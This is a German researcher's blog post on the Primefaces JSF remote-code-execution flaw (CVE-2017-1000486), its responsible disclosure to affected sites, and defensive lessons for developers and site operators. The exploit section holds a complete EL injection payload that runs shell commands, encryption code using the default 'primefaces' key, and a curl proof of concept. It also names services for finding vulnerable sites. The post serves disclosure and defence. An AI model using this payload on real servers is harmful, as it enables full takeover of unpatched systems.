Auf der Suche nach interessanten Zielen für Bug Bounty Programme habe ich Schwachstellen in verbreiteten Web Frameworks untersucht. Ich stieß dabei auf eine Lücke im Primefaces JSF Framework, bereits 2016 entdeckt von Minded Security. Wenig später fand ich noch diesen interessanten Blogeintrag von CryptoSense. Die Schwachstelle erlaubt Remote Code Execution (RCE) durch einfache HTTP-Anfragen.

Hacker nutzen diese Schwachstelle bereits seit 2016 in Bug Bounty Programmen.

Die Problematik dieser Schwachstelle liegt nicht nur in den technischen Folgen (RCE = worst case), vielmehr deckt sie auch Probleme in der aktuellen Sicherheitslandschaft im Netz auf.

Die zentrale Frage ist dabei: wie werden betroffene Seiten im Netz über die Schwachstelle informiert?
Was können Seitenbetreiber, Entwickler und Sicherheitsexperten tun, um das Netz sicherer zu machen?

Ich habe viele betroffene Seiten im Netz gefunden und benachrichtigt, darunter auch Seiten von großen (DAX-) Konzernen und Regierungen auf der ganzen Welt. Einige waren sehr kooperativ und professionell, bei anderen war es schwierig, überhaupt Kontakt aufzunehmen und glaubhaft die Lücke mitzuteilen.

Der Bug

Es gibt mehrere Probleme in alten Primefaces-Versionen:

  • Primefaces Versionen älter als 5.2.21, 5.3.8 und 6.0 sind anfällig für Padding Oracle Attack, da sie schwache und veraltete Kryptographie nutzen. Mit dem Tool padbuster können Angreifer die Verschlüsselung brechen und ihren eigenen verschlüsselten Payload an den Server schicken.
  • Es ist möglich, verschlüsselten Code über EL injection einzuschleusen.
  • Es werden im Quellcode Standardwerte für Salt und Passwort (“primefaces”) festgelegt. Zwar können Webentwickler dieses über Konfigurationsparameter ändern, viele scheinen dies jedoch versäumt zu haben. Die Nutzung von padbuster ist dadurch überflüssig und das Ausnutzen der Lücke trivial.

Der Exploit

Dank der Vorarbeit von Minded Security war es einfach einen EL Payload zu erzeugen, der auf Linux und Windows-Maschinen bliebige Systemkommandos ausführt:

${facesContext.getExternalContext().getResponse().setContentType("text/plain;charset=\"UTF-8\"")}
${session.setAttribute("scriptfactory","".getClass().forName("javax.script.ScriptEngineManager").newInstance())}
${session.setAttribute("scriptengine",session.getAttribute("scriptfactory").getEngineByName("JavaScript"))}
${session.getAttribute("scriptengine").getContext().setWriter(facesContext.getExternalContext().getResponse().getWriter())}
${session.getAttribute("scriptengine").eval(
"var os = java.lang.System.getProperty(\"os.name\");
var proc = null;
os.toLowerCase().contains(\"win\")?
proc = new java.lang.ProcessBuilder[\"(java.lang.String[])\"]([\"cmd.exe\",\"/C\",\"%s\"]).start()
: proc = new java.lang.ProcessBuilder[\"(java.lang.String[])\"]([\"/bin/sh\",\"-c\",\"%s\"]).start();
var is = proc.getInputStream();
var sc = new java.util.Scanner(is,\"UTF-8\"); var out = \"\";
while(sc.hasNext()) {out += sc.nextLine()+String.fromCharCode(10);}print(out);")}
${facesContext.getExternalContext().getResponse().getWriter().flush()}
${facesContext.getExternalContext().getResponse().getWriter().close()}';

(wobei %s durch das auszuführende Kommando zu ersetzen ist).

Dieser EL Payload muss nun verschlüsselt, Base64- und URL-kodiert werden. Ich konnte dafür den Originalcode von Primefaces verwenden (org.primefaces.util.StringEncrypter):

private void doEncrypt(String payload) throws UnsupportedEncodingException {
StringEncrypter encrypter = new StringEncrypter("primefaces");
String result = encrypter.encrypt(payload);
String result_urlenc = URLEncoder.encode(result, "UTF-8");
System.err.println(result_urlenc);
}

Zeit für einen Proof-of-concept:

root@kali:~# enc="TIXG%2F%2FZlMWz%2BuNGfZ1psoWPYqrzYTYmu3dN%2B6cc4kAoZv6Ge0cWSmYpAj5%2FwrDCRcHWvgXbDtIn06VIvJwKQqk9spjdr1Wo6zTWjQ%2BqAxbPaR3OIIo3Ae%2BbYe54y0z7d2r0umNJPzSSiUdHLt%2BuchRlDeO2rQCx2p4Yttxa29zo3Nayidga8LiyD8R5e6IJYbJ99MpiS8K16iX47gin6aYYYHfulJfEIkP52taKql3JNbPVoguR%2FDhhiVpEtauFfKEMOoUq0G7evnErvZkQkyek43YhJ%2FE4q0sU2CygWclo%2FvcfG2QHAylbL4tkXaB3BP50YvRFedbmQfEtcAiGn84SdP5BnxC%2BcVJvVJsrMpbL8Mcdi%2FU%2BOju9g57bW55CBAGZnqiOVWFL%2BXjhaBD06Ef%2F7Et08lFQKGmlJDNQBSFBTa5cSd6WY6SZh5I8AO3Ncr9XpiOiQJROZgwXoxYwHFp10gQXS8TVw5yYcEWKoMZWYmBY5%2FcIPv6skQn6%2FGlnv1qGRUtGwCis5jQJDdJh%2B%2FO7EJpJ64tez75NOyM7jDH8%2BM8%2Bxmi8g41xuW%2Fw6yymquEwWQaIT3%2F80ifOhM8bUQ9uep4WZYxpwUi%2FHM5ig7%2FXpCR8TZiwRd8sbt6QG1pwtEwFXyNfe3u5BM3qGVnN4Mpq6zFBPKUfEDe9EEPV76ifnQDDyKtmuvmW2nT%2BP1XMgNg9OPxwfkFMEh7EwhyPxbEaseeszUf6HZfTl8%2BIGBUXig5i6iCaW2Y0VWWH1PM0dCAPj1%2F7zWOYG0KSkw2b57i9Cxovyk8AQH4qZ4D513khYRXi4Qw4pfuSXrDe0dpnYcsb2dvsUaGGgtyn%2BbWrSy2rJj752gBq5vAD5wUFQ%2B6LvWQoZexW2%2FI8MGF8Og3i3qCXcCQ%2FS9ihatd1IbDE0YwbTCbHtQCXRmPOTYr7%2F4tnyxmVY6y4OZF%2FWiw9rdjGik9QqZQ74CLRbpIho6uLbXivr%2B9WIF3q%2BG86BnM8vNW2OHcLIfORxTboN%2BDT4wgtBd0Sh1C64%2B3z6%2BnNQc4waf88OQ1YgvWlfKuE6jvJjIX48MH9IU4C3p%2FpjuP%2FmbTiQrHgm6ahCfwESXDwKsc2Kd7H8us8l9F6d1NxkAQ%2BtEASomxbMMt2fv7xGS0%2B4VHf8fF4GsOsMC1Q1CD2qQn4Md8fU1%2BDEC4KKdA5VCimW327rbKxsrGVewWnTkA8ejHwlwciQmXFQQ53LMk%2Bj1iNwIChQnVPAe4sFKS9x02Y%2BZZDQFTr2XUXSRwAAAAAAAAAA";
root@kali:~# curl -X POST "https://example.com/javax.faces.resource/dynamiccontent.properties.jsf" -ki -kvvv -d "pfdrt=sc&ln=primefaces&pfdrid=$enc&cmd=id"



uid=0(root) gid=0(root) groups=0(root)

Ich habe den Exploit in ein Metasploit-Modul gegossen, erhältlich auf Github.

 

Responsible Disclosure

Als White Hat Hacker sehe ich folgende Herausforderungen beim Melden von Schwachstellen:

  • Eine Kontaktadresse zum Übermitteln von Schwachstellenmeldungen finden. Viele Firmen und Organisationen bieten zwar Kundenformulare und Hotlines, sind jedoch mit einer solchen Anfrage oft überfordert. Über eine Whois-Anfrage gelangt man zumindest an Administratoren. Ein weiterer Weg sind die Datenschutzbeauftragten, deren Emailadresse meist öffentlich verfpügbar ist. Eine eigene CERT-Abteilung konnte ich immerhin zweimal vorfinden, wenn auch über Umwege.
  • Ist der richtige Kontakt endlich gefunden, stellt sich die Frage, wie gelangen die Details der Schwachstelle vertrauenswürdig zum Ziel? PGP und S/MIME scheinen immer noch keine genügend große Verbeitung zu haben. Also blieb meist ZIP-Verschlüsselung mit analoger Passwortübermittlung (Telefon).
  • Glaubwürdigkeit! Viele scheinen (zu recht) abgeschreckt von einer Warn-Email zu sein à la “Sie wurden gehackt, ich will helfen und verlange nichts dafür”. Die Formulierung der ersten Nachricht muss wohl überlegt sein.
    Ich wählte meist folgende Worte:

    Sehr geehrte Damen und Herren,
    
    ich bin IT-Sicherheitsexperte (White Hat, also wohlgesonnen) und bin auf eine kritische Schwachstelle auf Ihrer Webseite
    www.example.com gestoßen und würde Ihrer IT-Abteilung gerne weitere Details auf
    verschlüsseltem Wege zukommen lassen (z.B. via PGP).
    
    Mit freundlichen Grüßen
    
    Björn Schütte

    Zur Not schickte ich 2-3 weitere Mails, machnmal mit Erfolg.

  • Die eigentliche Schwachstellenmeldung muss professionell sein und einen Proof-of-Concept zur Nachvollziehbarkeit beinhalten. Dieser sollte natürlich keine Schäden verursachen. Ich beschränkte mich fast immer auf die Befehle id bzw. whomai.

Für die Suche nach betroffenen Webseiten gibt es einige Mittel im Netz. Google und Shodan lieferten wenig, die besten Ergebnisse hatte ich mit publicwww.com und nerdydata.com. Builtwith.com lieferte auch gute Ergebnisse, das Geld für die Pro-Version (ca. 300$) sparte ich mir jedoch.

Problembehebung

Wie konnte es sein, dass so viele aktiv genutzte Webseiten noch immer betroffen sind und offenbar nichts von der Schwachstelle wussten? Die Entwickler von Primefaces haben das Problem längst gefixt, aber keine CVE dafür registriert. Auch die Finder der Lücke haben dies versäumt.

Also habe ich auf iwantacve.org eine CVE angefordert und bekam prompt eine Antwort:

Mit dieser CVE-2017-1000486 haben Entwickler und DevOps es nun leichter, die betroffenen Versionen der Bibliothek herauszufiltern, z.B. durch das exzellente OWASP Dependency Check Plugin.

Lessons Learned

Web-Entwickler

  • Aktualisiert eure Software auf die neueste version von Primefaces.
  • Integriert das OWASP Dependency Check Plugin in eure pom.xml oder was auch immer ihr nutzt. Das Tool ist kostenfrei und lässt sich einfach in der Buildprozess integrieren.
  • Verlasst euch nicht auf die Sicherheit von Third-Party-Software. Automatische Codeanalyse hätte hier gehlfen. ich habe es mit dem FindbugsSpotbugs Plugin Find Security Bugs geprüft und es hat die  Schwachstellen im Primefaces Code entdeckt:

Framework-Entwickler

  • Nehmt Sicherheit ernst!
  • Behandelt Sicherheitslücken mit höherer Priorität und liefert zügig Fixes aus.
  • Reserviert euch CVEs, damit eure Nutzer schnell von den Schwachstellen erfahren und automatisiert die betroffenen Versionen herausfiltern können.
  • Versorgt, wenn möglich, auch ältere Versionen mit Security Updates.

Webseitenbetreiber

  • Stellt einen Kommunikationskanal für Sicherheitsmeldungen bereit, üebr den Schwachstellenberichte und Probleme berichtet werden können. Meine erste Wahl wäre eine Emailadresse mit PGP-Schlüssel.
  • Fügt eine security.txt auf eurer Webseite hinzu unter https://www.example.com/.well-known/security.txt, in der obige Kontaktinformationen bereitliegen. Ich gehe dasvon aus, dass sich dieses Konzept schnell verbreitet.
  • Überlegt euch, ob ihr ein Bug Bounty Programm starten solltet, damit motivierte Hacker helfen, eure Webauftritte sicherer zu machen. Ich empfehle HackerOne oder BugCrowd. Die Telekom betreibt z.B. ein eigenes Programm.